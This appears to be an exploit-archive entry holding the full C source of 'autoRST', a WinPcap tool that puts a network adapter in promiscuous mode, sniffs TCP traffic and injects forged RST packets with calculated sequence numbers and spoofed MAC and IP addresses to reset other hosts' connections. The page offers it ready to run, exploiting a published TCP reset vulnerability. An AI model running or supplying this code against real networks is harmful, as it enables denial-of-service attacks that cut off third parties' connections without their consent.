Summary autoRST is an automated TCP RST exploit. It uses the Winpcap libraries to sniff for TCP packets on a network and then sends out a forged RST packet after calculating the appropriate sequence number and forging the MAC address. Makes use of the recent vulnerable released by Paul A. Watson. Details Exploit: /****************************************************************************************** * autoRST * Matt Edman - Baylor University * 5/3/2004 * * DESCRIPTION: * Sniffs out TCP connections on a non-switched network and attempts to reset them * by forging a RST packet in the correct window * * REQUIRED LIBRARIES: * -WinPCAP 3.1beta or higher * -WinPCAP developer's pack * * NOTES: * Just make sure you have WinPCAP 3.1beta or higher installed and the appropriate * winpcap header files downloaded and paths setup. Other than that, just start it * up and let it do its job. ******************************************************************************************/ #include <stdio.h> // WinPCAP includes #include <pcap.h> #include <remote-ext.h> // 6 byte MAC Address typedef struct mac_address { u_char byte1; u_char byte2; u_char byte3; u_char byte4; u_char byte5; u_char byte6; }mac_address; // 4 bytes IP address typedef struct ip_address{ u_char byte1; u_char byte2; u_char byte3; u_char byte4; }ip_address; // 20 bytes IP Header typedef struct ip_header{ u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits) u_char tos; // Type of service u_short tlen; // Total length u_short identification; // Identification u_short flags_fo; // Flags (3 bits) + Fragment offset (13 bits) u_char ttl; // Time to live u_char proto; // Protocol u_short crc; // Header checksum ip_address saddr; // Source address ip_address daddr; // Destination address // u_int op_pad; // Option + Padding -- NOT NEEDED! }ip_header; // 20 bytes TCP Header typedef struct tcp_header { u_short sport; // Source port u_short dport; // Destination port u_int seqnum; // Sequence Number u_int acknum; // Acknowledgement number u_char hlen; // Header length u_char flags; // packet flags u_short win; // Window size u_short crc; // Header Checksum u_short urgptr; // Urgent pointer...still don't know what this is... }tcp_header; // FUNCTION PROTOTYPES void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data); void print_packet( u_char *pkt, int len ); void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport, mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum, u_int win ); u_int iptoUINT( ip_address *ip ); u_short csum (unsigned short *buf, int nwords); // GLOBAL VARIABLES pcap_t *adhandle; // The device handle u_int localaddr; // Local IP Address struct sockaddr_in *lSock; // Local socket structure int main( int argc, char *argv[] ) { pcap_if_t *alldevs; pcap_if_t *d; int inum; int i=0; char errbuf[PCAP_ERRBUF_SIZE]; char *localIP; // Get the list of adapters if ( pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1 ) { fprintf(stderr,"Error in pcap_findalldevs: %s/n", errbuf); return 0; } // Print the list of adapters -- from Winpcap sample code for( d = alldevs; d != NULL; d = d->next ) { printf("%d. %s", ++i, d->name); if ( d->description ) printf(" (%s)/n", d->description); else printf(" (No description available)/n"); } printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); // Traverse the list to the selected adapter for( d = alldevs, i = 0; i < inum-1; d = d->next, i++); // Get the local address lSock = (struct sockaddr_in *)(d->addresses->addr); localaddr = lSock->sin_addr.S_un.S_addr; printf("%d/n", localaddr); localIP = inet_ntoa(lSock->sin_addr); printf("Local Addr: %s/n", localIP); // Open the device for the capture if ( (adhandle = pcap_open( d->name,65536, PCAP_OPENFLAG_PROMISCUOUS, 10, NULL, errbuf ) ) == NULL) { fprintf(stderr,"/nUnable to open adapter: %s /n", d->name); pcap_freealldevs(alldevs); return -1; } printf("/nListening on %s.../n", d->description); pcap_freealldevs(alldevs); pcap_loop(adhandle, 0, packet_handler, NULL); return 0; } // CALLBACK function...called for each received packet void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) { u_int ip_len; mac_address *srcmac; mac_address *destmac; ip_header *iph; tcp_header *tcph; destmac = (mac_address *)pkt_data; srcmac = (mac_address *)(pkt_data + 6); iph = (ip_header *) (pkt_data + 14); if( iph->proto == 0x06 ) { // TCP PACKETS if( localaddr != iptoUINT( &iph->saddr ) && localaddr != iptoUINT( &iph->daddr ) ) { // Don't reset our own connection ip_len = (iph->ver_ihl & 0xf) * 4; tcph = (tcp_header *)(pkt_data + 14 + ip_len); if( tcph->flags != 0x04 ) // If the RST flag is already set, no need sending another RST packet send_reset( srcmac, &iph->saddr, tcph->sport, destmac, &iph->daddr, tcph->dport, tcph->acknum, tcph->win ); } } } // Attempts to forge a RST packet and send it back to the source, resetting the TCP connection void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport, mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum, u_int win ) { u_short tcp_hdrcrc[16]; u_short ip_hdrcrc[10]; u_short tcp_tos = htons(0x06); u_short tcp_hlen = htons(0x14); u_short ip_tos = htons(0x0800); ip_header iph; tcp_header tcph; u_char pkt[54]; printf("Attempting to Reset: %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d/n", srcip->byte1, srcip->byte2, srcip->byte3, srcip->byte4, ntohs(sport), destip->byte1, destip->byte2, destip->byte3, destip->byte4, ntohs(dport)); // Setup IP Header iph.ver_ihl = 0x45; iph.tos = 0x01; iph.tlen = htons(40); iph.identification = htons(0x0800); iph.flags_fo = 0x0; iph.ttl = 0xff; iph.proto = 0x06; iph.crc = 0x00; iph.saddr = *destip; // swap the source & dest ips iph.daddr = *srcip; // Setup TCP Header tcph.sport = dport; // swap the source & dest ports tcph.dport = sport; tcph.seqnum = htonl(ntohl(seqnum) + ntohs(win) - 2); tcph.acknum = tcph.seqnum + htonl(0x1); tcph.hlen = 0x50; tcph.flags = 0x04; tcph.win = win; tcph.urgptr = 0x00; tcph.crc = 0x00; // Calculate the IP Header Checksum memset(ip_hdrcrc, 0, 20); memcpy(ip_hdrcrc, &iph, 20); iph.crc = csum( ip_hdrcrc, 10 ); // Construct the tcp pseudo-header for checksum calculation memset(tcp_hdrcrc, 0, 32); memcpy(tcp_hdrcrc, &tcph, 20); memcpy(&tcp_hdrcrc[10], &iph.saddr, 4); memcpy(&tcp_hdrcrc[12], &iph.daddr, 4); memcpy(&tcp_hdrcrc[14], &tcp_tos, 2); memcpy(&tcp_hdrcrc[15], &tcp_hlen, 2); tcph.crc = csum( tcp_hdrcrc, 16 ); // Assemble the packet memcpy( pkt, (void *)srcmac, 6 ); memcpy( (void *)(pkt + 6), (void *)destmac, 6 ); memcpy( (void *)(pkt + 12), &ip_tos, 2); memcpy( (void *)(pkt + 14), &iph, 20 ); memcpy( (void *)(pkt + 14 + sizeof( ip_header )), &tcph, 20 ); // Send the packet if (pcap_sendpacket(adhandle, pkt, sizeof( pkt )) != 0) fprintf(stderr,"/nError sending the packet: /n", pcap_geterr(adhandle)); } // Calculates the TCP Checksum based on the helper header u_short csum (unsigned short *buf, int nwords) { unsigned long sum=0; for( sum=0; nwords > 0; nwords-- ) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (u_short)~sum; } // Takes in an ip_address structure and returns the equivalent 4byte UINT value u_int iptoUINT( ip_address *ip ) { u_int ipaddr; ipaddr = ip->byte4 | (ip->byte3 << 8); ipaddr = ipaddr | (ip->byte2 << 16); ipaddr = ipaddr | (ip->byte1 << 24); return htonl(ipaddr); } // Display the values in the packet on the screen void print_packet( u_char *pkt, int len ) { int i; printf("/tThe Packet/n------------------------------/n"); for( i = 0; i < len; i++ ) { if(i%4==0) printf("/n"); printf("0x%x ", pkt[i]); } printf("/n"); }